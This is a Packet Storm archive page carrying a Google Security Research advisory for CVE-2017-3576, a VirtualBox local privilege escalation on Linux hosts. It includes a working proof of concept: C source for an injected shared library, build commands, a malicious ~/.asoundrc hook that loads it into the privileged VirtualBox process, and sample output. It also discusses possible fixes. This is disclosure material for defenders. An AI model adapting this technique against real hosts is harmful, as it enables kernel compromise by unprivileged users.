exploit the possibilities

VirtualBox Unprivilege Host User To Host Kernel Privilege Escalation

VirtualBox Unprivilege Host User To Host Kernel Privilege Escalation
Posted Apr 19, 2017
Authored by Jann Horn, Google Security Research

VirtualBox suffers from an unprivileged host user to host kernel privilege escalation via ALSA config.

tags | exploit, kernel
advisories | CVE-2017-3576
MD5 | dca9d69e8a8c16f4ac99724d454653cf

VirtualBox Unprivilege Host User To Host Kernel Privilege Escalation

Change Mirror Download
 VirtualBox: unprivileged host user -> host kernel privesc via ALSA config 

CVE-2017-3576


This is another way to escalate from an unprivileged userspace process
into the VirtualBox process, which has an open file descriptor to the
privileged device /dev/vboxdrv and can use that to compromise the
host kernel.

The issue is that, for VMs with ALSA audio, the privileged VM host
process loads libasound, which parses ALSA configuration files,
including one at ~/.asoundrc. ALSA is not designed to run in a setuid
context and therefore deliberately permits loading arbitrary shared
libraries via dlopen().

To reproduce, on a normal Ubuntu desktop installation with VirtualBox
installed, first configure a VM with ALSA audio, then (where
ee347b44-b82d-41c2-b643-366cf297a37c is the ID of that VM):


~$ cd /tmp
/tmp$ cat > evil_vbox_lib.c
#define _GNU_SOURCE

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>

extern char *program_invocation_short_name;

__attribute__((constructor)) void run(void) {
if (strcmp(program_invocation_short_name, "VirtualBox"))
return;

prctl(PR_SET_DUMPABLE, 1);
printf("running in pid %d\n", getpid());
printf("searching for vboxdrv file descriptor in current process...\n");
char linkbuf[1000];
char *needle = "/dev/vboxdrv";
for (int i=0; i<1000; i++) {
char linkpath[1000];
sprintf(linkpath, "/proc/self/fd/%d", i);
ssize_t linklen = readlink(linkpath, linkbuf, sizeof(linkbuf)-1);
if (linklen == -1) continue;
if (linklen == strlen(needle) && memcmp(linkbuf, needle, strlen(needle)) == 0) {
printf("found it, fd %d is /dev/vboxdrv\n", i);
}
}
_exit(0);
}
/tmp$ gcc -shared -o evil_vbox_lib.so evil_vbox_lib.c -fPIC -Wall -ldl -std=gnu99
/tmp$ cat > ~/.asoundrc
hook_func.pulse_load_if_running {
lib "/tmp/evil_vbox_lib.so"
func "conf_pulse_hook_load_if_running"
}
/tmp$ /usr/lib/virtualbox/VirtualBox --startvm ee347b44-b82d-41c2-b643-366cf297a37c
running in pid 8910
searching for vboxdrv file descriptor in current process...
found it, fd 7 is /dev/vboxdrv
/tmp$ rm ~/.asoundrc


I believe that the ideal way to fix this would involve running
libasound, together with other code that doesn't require elevated
privileges - which would ideally be all userland code -, in an
unprivileged process. However, for now, moving only the audio output
handling into an unprivileged process might also do the job; I haven't
yet checked whether there are more libraries VirtualBox loads that
permit loading arbitrary libraries into the VirtualBox process.

You could probably theoretically also fix this by modifying libasound
to suppress dangerous configuration directives in ~/.asoundrc, but I
believe that that would be brittle and hard to maintain.

Tested on Ubuntu 14.04.5 with VirtualBox 5.1.14 <a href="https://crrev.com/112924" title="" class="" rel="nofollow">r112924</a>.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: jannh

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close